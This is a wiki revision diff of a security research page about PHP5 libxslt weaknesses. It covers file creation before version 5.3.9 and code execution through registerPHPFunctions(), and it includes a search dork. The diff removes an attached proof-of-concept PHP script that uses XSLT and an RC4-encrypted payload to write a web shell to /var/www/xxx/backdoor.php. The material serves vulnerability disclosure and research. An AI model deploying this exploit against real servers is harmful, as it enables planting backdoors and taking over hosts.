Changes for page Application_PHP5
on 2012/01/16 11:38
on 2012/01/13 17:33
Summary
-
Page properties (2 modified, 0 added, 0 removed)
-
Attachments (0 modified, 0 added, 1 removed)
Details
- Page properties
-
- Tags
-
... ... @@ -1,1 +1,0 @@ 1 -php|libxslt|code execution - Content
-
... ... @@ -1,27 +1,20 @@ 1 - {{toc/}}1 +Dixit [[Wikipedia>>http://en.wikipedia.org/wiki/PHP||rel="__blank"]] : "//PHP is a general-purpose server-side scripting language originally designed for web development to produce dynamic web pages. It is among one of the first developed server-side scripting languages that is embedded into a HTML source document, rather than calling an external file to process data. Ultimately, the code is interpreted by a web server with a PHP processor module which generates the resulting web page.//" 2 2 3 -= Introduction = 4 4 5 -Dixit [[Wikipedia>>http://en.wikipedia.org/wiki/PHP||rel="__blank"]] : "//PHP is a general-purpose server-side scripting language originally designed for web development to produce dynamic web pages. It is among one of the first developed server-side scripting languages that is embedded into a HTML source document, rather than calling an external file to process data. Ultimately, the code is interpreted by a web server with a PHP processor module which generates the resulting web page.//" 6 6 7 -= Creating files = 5 +== Creating files == 8 8 9 -Version 5 of the PHP language uses the [[libxslt>>Engine_libxslt]] engine to transform XML documents using XSLT. Prior to version 5.3.9, calls to libxslt were not restricted via xsltSetSecurityPrefs(). It was then possible to create or overwrite files on the engine side, typically for dropping a PHP Web Shell .This vulnerability([[Bug #54446>>https://bugs.php.net/bug.php?id=54446||rel="__blank"]])was patched in version 5.3.9 ([[ChangeLog>>http://php.net/ChangeLog-5.php#5.3.9||rel="__blank"]]).7 +Version 5 of the PHP language uses the [[libxslt>>Engine_libxslt]] engine to transform XML documents using XSLT. Prior to version 5.3.9, calls to libxslt were not restricted via xsltSetSecurityPrefs(). It was then possible to create or overwrite files on the engine side, typically for dropping a PHP Web Shell (cf [[Bug #54446>>https://bugs.php.net/bug.php?id=54446||rel="__blank"]]). 10 10 11 -== Simple PoC == 12 12 13 13 The attached [[create-file-via-libxslt.php>>attach:create-file-via-libxslt.php]] PoC will drop a basic PHP script in /tmp/. 14 14 15 -== PoC withcrypto ==12 +== Executing PHP code == 16 16 17 -A better script waslaterpostedon[[OSS-Security>>http://seclists.org/oss-sec/2012/q1/157]] atRedHatrequest.ThisPHPscriptwillbydefaultdisplaya pre-filled HTML formincluding XML data,XSLTcodeandRC4-encryptedmaliciousPHP code. Whentheformissubmitted,theuser-controlledXMLdataistransformed using theuser-controlled XSLTcode. Then, theoutput of thisansformationisdisplayed inthebrowser. Meanwhile,the maliciousPHP codeisdecryptedusing a static key ("simple_demo") andsavedto "/var/www/xxx/backdoor.php".14 +A call to [[registerPHPFunctions()>>http://php.net/manual/en/xsltprocessor.registerphpfunctions.php]] allows to execute standard PHP functions directly from the XSLT stylesheet. I never came across this pattern in real-life engagements but Google Code search references [[several>>http://www.google.com/codesearch#search/&q=registerPHPFunctions%20lang:%5Ephp$&type=cs||rel="__blank"]] instances of it (dork: "registerPHPFunctions lang:^php$"). 18 18 19 -= Executing PHP code = 20 20 21 -A call to [[registerPHPFunctions()>>http://php.net/manual/en/xsltprocessor.registerphpfunctions.php]] allows to execute standard PHP functions directly from the XSLT stylesheet. I never came across this pattern in real-life engagements but Google Code search references [[several>>http://www.google.com/codesearch#search/&q=registerPHPFunctions%20lang:%5Ephp$&type=cs||rel="__blank"]] instances of it (dork: "registerPHPFunctions lang:^php$"). This isn't a bug and will not be patched. 22 - 23 - 24 24 |=Namespace |=Extension function |=PoC |=Note 25 -| http:~/~/php.net/xsl| Any PHP function|[[execute-code-via-libxslt.php>>attach:execute-code-via-libxslt.php]]| A call to registerPHPFunctions() is needed 18 +| http:~/~/php.net/xsl| Any PHP function| [[execute-code-via-libxslt.php>>attach:execute-code-via-libxslt.php]]| A call to registerPHPFunctions() is needed 26 26 27 27 The attached [[execute-code-via-libxslt.php>>attach:execute-code-via-libxslt.php]] PoC will use the passthru() PHP function to execute "uname -a".
- php539-xslt.php
-
- Author
-
... ... @@ -1,1 +1,0 @@ 1 -xwiki:XWiki.NicolasGregoire - Size
-
... ... @@ -1,1 +1,0 @@ 1 -2.0 KB - Content
-
... ... @@ -1,68 +1,0 @@ 1 - 2 -<?php 3 - 4 -// Get parameters 5 -$action = $_POST['action']; 6 -$xml = $_POST['xml']; 7 -$xsl = $_POST['xsl']; 8 - 9 -print "<html><body>"; 10 -if ($action == "transform") { 11 - 12 - print "<h2>Ready to transform ...</h2><br/>"; 13 - 14 - # LOAD XML FILE 15 - $xmldom = new DOMDocument(); 16 - print "XML: <pre>".htmlentities($xml)."</pre><br/>"; 17 - $xmldom->loadXML($xml); 18 - 19 - # LOAD XSLT FILE 20 - $xsldom = new DOMDocument(); 21 - print "XSL: <pre>".htmlentities($xsl)."</pre><br/>"; 22 - $xsldom->loadXML($xsl); // Content of $xXsl may be untrusted ! 23 - 24 - # START XSLT 25 - $xslproc = new XSLTProcessor(); 26 - $xslproc->importStylesheet($xsldom); 27 - 28 - # TRANSFORM & PRINT 29 - $output = $xslproc->transformToXML($xmldom); // File creation ! 30 - print "Output: <pre>".htmlentities($output)."</pre><br/>"; 31 - 32 -} else { 33 - 34 - # DISPLAY A PRE-FILLED FORM 35 - print "<h1>Hello!</h1><h2>You just have to click on submit() ...</h2>"; 36 - print "Consider modifying the output path (<i>/var/www/xxx/backdoor.php</i>) in the XSL<br/><br/>"; 37 - print "<form method='post'>"; 38 - print "XML document:<br/>"; 39 - print "<textarea name='xml' rows='3' cols='130'><foobar/></textarea><br/><br/>"; 40 - print "XSLT code:<br/>"; 41 - print "<textarea name='xsl' rows='20' cols='130'>"; 42 -print <<<XSLT 43 -<xsl:stylesheet 44 - version="1.0" 45 - xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 46 - xmlns:cry="http://exslt.org/crypto" 47 - xmlns:sax="http://icl.com/saxon" 48 - extension-element-prefixes="cry sax"> 49 - 50 - <xsl:template match="/"> 51 - <sax:output href="/var/www/xxx/backdoor.php" method="text"> 52 - <xsl:value-of select="cry:rc4_decrypt('simple_demo', '0262ee34196ae2df1ab850c1705ee0c38dc6ae42bbeecf140dea99675fb35539a4dcbeaf5c2e6a6cae679843dbf3650275a6be07464047dc17eff2661b8f065f0ae3abcd3b33e9fd3c48a36f2201ae65e093fa45b0a1b55cd408ec815a8dada050b8881b99e957704dc5f17208d105966680a26f')"/> 53 - </sax:output> 54 - <xsl:text>A webshell have been dropped</xsl:text> 55 - </xsl:template> 56 - 57 -</xsl:stylesheet> 58 -XSLT; 59 - print "</textarea><br/><br/>"; 60 - print "<input type='hidden' name='action' value='transform'/>"; 61 - print "<input type='submit'/></form>"; 62 - 63 -} 64 -print "</body></html>"; 65 - 66 -?> 67 - 68 -